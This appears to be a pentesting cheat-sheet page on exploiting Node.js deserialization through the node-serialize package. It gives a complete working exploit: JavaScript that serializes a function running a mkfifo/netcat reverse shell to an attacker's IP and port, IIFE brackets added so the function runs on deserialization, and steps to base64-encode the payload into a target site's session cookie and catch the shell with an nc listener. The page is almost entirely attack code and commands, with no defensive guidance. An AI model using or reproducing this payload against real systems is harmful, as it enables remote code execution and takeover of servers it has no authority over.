Node.js Deserialization Attack
Last modified: 2023-01-02
Node.js deserialization is vulnerable to remote command executions.
Cookie Reverse Shell
1. Generate a Payload
We can use the online tools like RunKit to execute the node package.
If you want to do in your local environment, you need to install a npm package first.
mkdir test
cd test
npm install node-serialize
Next, create the payload for serialization to execute a reverse shell.
For instance, the file is named “serialize.js”.
let y = {
rce: function() {
require('child_process').exec('rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <local-ip> <local-port> >/tmp/f', function(error, stdout, stderr) { console.log(stdout); });
},
};
let serialize = require('node-serialize');
console.log("Serialized: \n" + serialize.serialize(y));
In the above code, change "<local-ip>" and "<local-port>" to match your environment.
Execute node to generate the payload.
node serialize.js
Our payload generated in terminal.
Next, we need to add IIFE brackets "()" after the function in the generated payload. By doing this, the function will invoke when the object created. For details, please see the awesome post.
The final payload is as below:
{"rce":"_$$ND_FUNC$$_function() {require('child_process').exec('rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <local-ip> <local-port> >/tmp/f', (error, stdout, stderr) => { console.log(stdout); }); } ()"}
In addition, edit the key name (”rce”) and remove “\n” characters as you want.
2. Encode a Payload by Base64 and Add to Cookie
Copy the above json object and encode it by Base64, then copy the encoded text.
Paste it to the Cookie value of HTTP header in target website.
Cookie: session=eyJyY2U...iAgfSJ9==
3. Execute Reverse Shell
Start a listener for reverse shell
nc -lvnp <local-port>
In target website, reload the page.
You should get a shell.